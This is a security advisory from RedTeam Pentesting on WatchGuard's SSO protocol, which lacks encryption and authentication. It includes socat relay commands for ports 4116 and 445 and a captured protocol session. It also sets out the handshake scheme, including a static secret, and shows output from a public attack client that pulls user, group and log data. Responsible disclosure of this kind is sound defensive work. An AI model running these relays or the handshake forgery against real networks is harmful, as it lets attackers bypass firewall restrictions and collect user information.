+49 241 510081-0
kontakt@redteam-pentesting.de
DE
DE

Contact

Contact us

+49 241 510081-0
kontakt@redteam-pentesting.de
Contact form
RedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting HeaderRedTeam Pentesting Header
newer
back to overview
older

Text Version

WatchGuard SSO Protocol is Unencrypted and Unauthenticated

The protocol that is used by the WatchGuard Single Sign-On (SSO) agent to communicate with the respective client services is neither encrypted, nor authenticated. The unprotected information that is communicated is used to decide which firewall rules should be applied for the given host. Consequently, attackers can relay connections to other clients in order to apply the firewall rules of the relay target to their own host. Similarly, attackers could implement their own protocol client to send arbitrary account and group information to the agent in order to lift firewall restrictions. It is also possible for attackers to extract information such as logs or the list of logged-on users and their groups from hosts that run the client service.

Details

Introduction

When users log on to the computers in your network, they must give a user name and password. If you use Active Directory authentication on your Firebox to restrict outgoing network traffic to specified users or groups, your users must also complete an additional step. They must manually log in again to authenticate to the Firebox and get access to network resources or the Internet. To simplify the log in process for your users, you can use the WatchGuard Single Sign-On (SSO) solution. With SSO, your users on local networks provide their user credentials one time (when they log on to their computers) and are automatically authenticated to your Firebox.

(from vendor’s homepage)

More Details

When introducing a device into a network managed via WatchGuard Active Directory Single Sign-On (SSO), the WatchGuard SSO agent will connect to the device in order to obtain information about the logged-on users using a proprietary protocol on TCP port 4116. If this connection fails, the agent uses an SMB-based fallback.

It was discovered that the data exchanged using this protocol is neither authenticated, nor encrypted. Consequently, attackers can relay incoming connections from the WatchGuard SSO agent to a client on another arbitrary host. The following command uses the program socat to relay a connection to the host relaytarget.domainname while printing all data exchanged:

$ socat -v tcp-listen:4116,reuseaddr,fork tcp:relaytarget.domainname:4116
> ping client\r
< Connected to SSO client, connected at: Wed Jun 05 11:37:01 2024
> list client qd7s7anD/OepubypuLizur6zubipu7m7vYM=\r
< list client completed\r
> get encrypt ......&..X...\fO.
< get encrypt 20 ~.h=......z...dS@..
> async-0000-000D-xx-00-35 set debug off
async-0000-000G-10.0.0.2-00-35 get version 10.0.0.2
async-0000-000B-xx-00-35 set domain
async-98153-000A-10.0.0.2-00-35 get user 10.0.0.2
< async-0000-000D-xx-00-35 4 OK
< async-0000-000B-xx-00-35 4 OK
< async-0000-000G-10.0.0.2-00-35 158 N=1 IP=10.0.0.2 product="SSO
Client" version="12, 7, 0, 0 (build 635505)" build="635505" OS="Microsoft
Windows 8 Enterprise Edition (build 9200), 64-bit"
< async-98153-000A-10.0.0.2-00-35 49 N=1 IP=10.0.0.2
user="username"
domain="domainname"
group="CN=group1,"
group="CN=group2,"
[...]

The unencrypted communication is initiated by two challenge-response-based handshakes (list client ... and get encrypt ...) after which the client service sends the list of logged-on user and their groups. After this relay attack, the firewall rules associated with these groups are applied for the attack system. The same relay attack can also be used for agent connections that use the SMB-based protocol on port 445 instead of the proprietary protocol.

It was also found that the challenge-response-based handshakes can be performed by attackers both in the role of a client or an agent. The list client command sent by the agent is followed by Base64-encoded data that corresponds to the timestamp previously sent by the client (Wed Jun 05 11:37:01 2024 including superfluous white spaces) XORed with the repeated byte 0x89. The initial get encrypt command is sent by the agent and contains a challenge with random bytes. The following get encrypt 20 command is the response sent by the client. The response is derived by computing the SHA1 hash of the concatenation of the challenge bytes with the static secret 47c4e6360586362789e0fb3a0591a50e. This means that both handshakes do not depend on information that is unknown to attackers, so they cannot be seen as sufficient authentication measures.

Attackers can therefore implement a protocol agent in order to extract information from clients. It is not only possible to obtain user and group information, but also client logs that may also include crash memory dumps. An implementation is available at https://github.com/RedTeamPentesting/watchguard-sso-client.

$ ./wgclient.py command --host 'client.domainname' 'get user a'
Connected to SSO client, connected at: Wed Jun 05 15:04:00 2024
list client completed
39 N=1 IP=a user="username" domain="domainname" group="CN=group1," [...]

$ ./wgclient.py logfile --host 'client.domainname'
Connected to SSO client, connected at: Wed Jun 05 15:06:22 2024
list client completed
Found files:
* wgssoclient_logfile.log

Similarly, attackers can implement a protocol client in order to claim that an arbitrary user with arbitrary groups is logged on when the agent connects to the attack system. In this case, attackers do not have to perform a relay attack.

Proof of Concept

The relay attack can be performed using socat as follows:

$ socat -v tcp-listen:4116,reuseaddr,fork tcp:relaytarget.domainname:4116

This relay attack can also be performed against SMB-based connections from the agent as follows:

$ socat -v tcp-listen:445,reuseaddr,fork tcp:relaytarget.domainname:445

For further attacks, a partial protocol implementation for attacks is available at https://github.com/RedTeamPentesting/watchguard-sso-client.

Workaround

At the time of publication, no workaround is known other than refraining from using the WatchGuard SSO feature, as both the proprietary protocol as well as SMB-based data gathering are vulnerable to relay attacks.

Security Risk

Since attackers can exploit this vulnerability to not only obtain potentially sensitive information but also circumvent network restrictions that are one of the core features of the WatchGuard Firewall, this vulnerability poses a high risk.

Timeline

  • 2024-06-05 Vulnerability identified
  • 2024-06-10 Customer approved disclosure to vendor
  • 2024-06-20 Vendor notified
  • 2024-06-27 Vendor confirmed they received the reports
  • 2024-07-04 Asked vendor to confirm the vulnerabilities and provide a timeline to resolve the issues
  • 2024-07-09 Vendor confirmed vulnerabilities, said a timeline will be provided at a later date
  • 2024-08-08 Asked for update regarding timeline, reminded vendor about 90-day responsible disclosure time frame
  • 2024-09-03 Asked for update
  • 2024-09-10 Asked for update again with hint to our planned release after 90 days
  • 2024-09-13 Vendor provided update that a potential resolution was identified
  • 2024-09-16 Vendor announced they will publish advisories on the following day, a fix is planned for end of October
  • 2024-09-17 After customer conferred with WatchGuard, publication was deferred for one week in order to implement mitigations
  • 2024-09-18 Confirmed new release date with WatchGuard
  • 2024-09-25 Advisory published

RedTeam Pentesting GmbH

RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.

More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/

Working at RedTeam Pentesting

RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: https://jobs.redteam-pentesting.de/